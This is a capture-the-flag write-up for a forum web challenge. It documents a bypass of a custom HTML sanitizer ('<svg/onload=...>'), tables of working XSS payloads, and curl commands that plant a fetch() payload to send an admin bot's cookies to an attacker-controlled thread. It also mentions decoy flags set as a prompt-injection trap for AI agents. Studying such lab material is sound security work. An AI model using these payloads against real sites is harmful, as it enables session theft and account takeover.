DevTalk
DevTalk
Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-23 | Status: Solved Techniques: admin_bot_cookie_theft, html5_parser_slash_as_whitespace, same_origin_exfiltration_via_fetch, sanitizer_bypass_slash_separator, stored_xss_via_svg_onload
Summary
Task: Forum with custom HTML sanitizer allowing rich text in posts, admin bot reviews reported posts. Solution: Bypass sanitizer using / instead of space as attribute separator (<svg/onload=...>), exfiltrate admin cookies via same-origin fetch POST to a controlled thread.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackadvisor| ID:20260523_hackadvisor_devtalk - Tags: nodejs, ejs, xss, stored_xss, cookie_stealing, express, admin_bot, same_origin_exfiltration, sanitizer_bypass, custom_sanitizer, html5_parsing, svg_onload, forum
- Indicators: custom sanitizer mentioned in footer or source, HTML formatting allowed in user posts, report functionality triggers admin bot visit, connect.sid cookie without HttpOnly flag, no CSP header
- Source:
20260523_hackadvisor_devtalk.md
Foothold
Vulnerability / Misconfiguration
- Admin_bot_cookie_theft
- Html5_parser_slash_as_whitespace
- Same_origin_exfiltration_via_fetch
- Sanitizer_bypass_slash_separator
- Stored_xss_via_svg_onload
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- admin_bot_cookie_theft
- html5_parser_slash_as_whitespace
- same_origin_exfiltration_via_fetch
- sanitizer_bypass_slash_separator
- stored_xss_via_svg_onload
- Tags: nodejs, ejs, xss, stored_xss, cookie_stealing, express, admin_bot, same_origin_exfiltration, sanitizer_bypass, custom_sanitizer, html5_parsing, svg_onload, forum
Original Writeup
<details><summary>Click to expand original content</summary>Description
DevTalk is a developer community forum built by CodeNest Inc., where engineers discuss technical topics, share solutions, and collaborate on problems. Users can create threads, post replies with rich text formatting, and browse discussions across multiple categories like Backend, Frontend, DevOps, and Security. The platform supports HTML formatting in posts, including bold text, code blocks, and hyperlinks. An active admin moderator regularly reviews reported posts to keep discussions productive. Explore the platform's content handling to find a way to access sensitive information that only the admin has access to.
English summary: A Node.js/Express forum application allows HTML in posts, sanitized by a custom sanitizer. An admin bot visits threads when posts are reported. The goal is to exploit XSS to steal the admin's sensitive data.
Analysis
Application Reconnaissance
- Stack: Node.js + Express with EJS templates
- Forum features: Categories (General, Backend, Frontend, DevOps, Security), threads, replies with HTML formatting
- Footer clue: "Rich text powered by custom sanitizer" — indicates a custom-built sanitizer, not DOMPurify or similar battle-tested library
- No CSP header on any page — no Content-Security-Policy to block inline script execution
- Cookie flags:
connect.sidis set without HttpOnly — JavaScript can readdocument.cookie - Report functionality:
/report/{post_id}triggers an admin bot to visit the thread containing the reported post - Decoy flags:
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}embedded in HTML comments and hidden divs on every page — a prompt injection trap for AI agents
Sanitizer Behavior
Systematic testing revealed the custom sanitizer's rules:
Blocked (correctly stripped):
| Input | Output | Rule |
|---|---|---|
<script>alert(1)</script> | (empty) | <script> tag removed entirely |
<img src=x onerror=alert(1)> | <img src=x> | onerror attribute stripped |
<svg onload=alert(1)> | <svg> | onload attribute stripped |
<details open ontoggle=alert(1)> | <details open> | ontoggle stripped |
<input onfocus=alert(1) autofocus> | <input autofocus> | onfocus stripped |
<iframe>, <object>, <embed> | (removed) | Dangerous tags removed entirely |
<a href="javascript:..."> | <a href="#blocked:..."> | javascript: scheme blocked |
<a href="data:..."> | <a href="#blocked:..."> | data: scheme blocked |
| |
Bypass — / as attribute separator:
| Input | Output | Result |
|---|---|---|
<svg/onload=alert(1)> | Passed through unchanged | ✅ XSS fires |
<img/src=x/onerror=alert(1)> | Passed through unchanged | ✅ XSS fires |
<details/open/ontoggle=alert(1)> | Passed through unchanged | ✅ XSS fires |
<input/onfocus=alert(1)/autofocus> | Passed through unchanged | ✅ XSS fires |
<video/src/onerror=alert(1)> | Passed through unchanged | ✅ XSS fires |
<audio/src/onerror=alert(1)> | Passed through unchanged | ✅ XSS fires |
| |
Root Cause
The custom sanitizer uses regex or string matching that only recognizes event handler attributes when separated from the tag name by whitespace (space, tab, newline). It does not recognize / (forward slash) as an attribute separator.
However, the HTML5 parser specification treats / after a tag name as equivalent to whitespace. Browsers parse <svg/onload="code"> identically to <svg onload="code">:
Sanitizer sees: <svg/onload="code"> → tag name is "svg/onload" → no event handler found → pass
Browser parses: <svg onload="code"> → onload is a real attribute → JavaScript executes
Confirmed with Chrome headless --dump-dom:
Input: <svg/onload="code">
Output: <svg onload="code">
Solution
Step 1: Create a Receiver Thread
Create a normal thread to collect exfiltrated data via replies:
curl -s -b cookies.txt 'http://TARGET/new-thread' \ -d 'title=Receiver+Thread+-+Check+Replies&category_id=1&content=Placeholder+for+data+collection'
This created thread #25.
Step 2: Create Attack Thread with XSS Payload
Create a thread with the sanitizer-bypassing XSS payload that exfiltrates cookies via a same-origin POST:
curl -s -b cookies.txt 'http://TARGET/new-thread' \
-d "title=Best+practices+for+error+handling+in+async/await&category_id=2" \
--data-urlencode "content=<p>What are your best practices for handling errors in async/await code?</p><svg/onload=\"fetch('/thread/25/reply',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'content=COOKIE:'+document.cookie})\">"
This created thread #26. The payload:
- Uses
<svg/onload="...">to bypass the sanitizer (slash instead of space) - When the browser renders the page, the
onloadevent fires immediately - Uses
fetch()to POST a reply to thread #25 containingdocument.cookie
Step 3: Report the Post to Trigger Admin Bot
Added a reply to thread #26 with the same XSS payload (replies have report links; original posts don't), then reported it:
curl -s -b cookies.txt 'http://TARGET/report/60' \ -d 'reason=Inappropriate+language'
Step 4: Admin Bot Visits → XSS Fires
The admin bot visited thread #26 to review the reported post. The <svg/onload> payload executed in the admin's browser context, which POSTed a reply to thread #25 containing the admin's full cookie string.
Step 5: Retrieve Exfiltrated Data
Checked thread #25 — the admin's reply appeared containing:
COOKIE:connect.sid=s:5-kEj0RFUPzST1_GoNaRLTvJNKlvV46H.BDZ9ybLYTUB+KzESs4Ig1twbyLibuVv/DH3tqJ/Ruco; flag=FLAG{REDACTED}
The flag was stored as a separate flag cookie in the admin's browser.
What Didn't Work
- Interaction server exfiltration — Payloads using
new Image().srcto send data to the interaction server (http://interact/<UUID>/) produced no requests in the logs. The admin bot's environment likely couldn't reach the interaction server. Same-origin exfiltration via reply POST was the working approach. - Admin endpoint enumeration — Tried
/admin,/admin/dashboard,/admin/reports,/admin/flag,/api/flag,/moderator,/dashboard,/settings— all returned 404. The flag was in the admin's cookies, not in a hidden endpoint. <img/src=x/onerror=...>with interaction server — While these payloads passed the sanitizer, the interaction server callback didn't work. Switching to same-origin exfiltration was the key insight.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR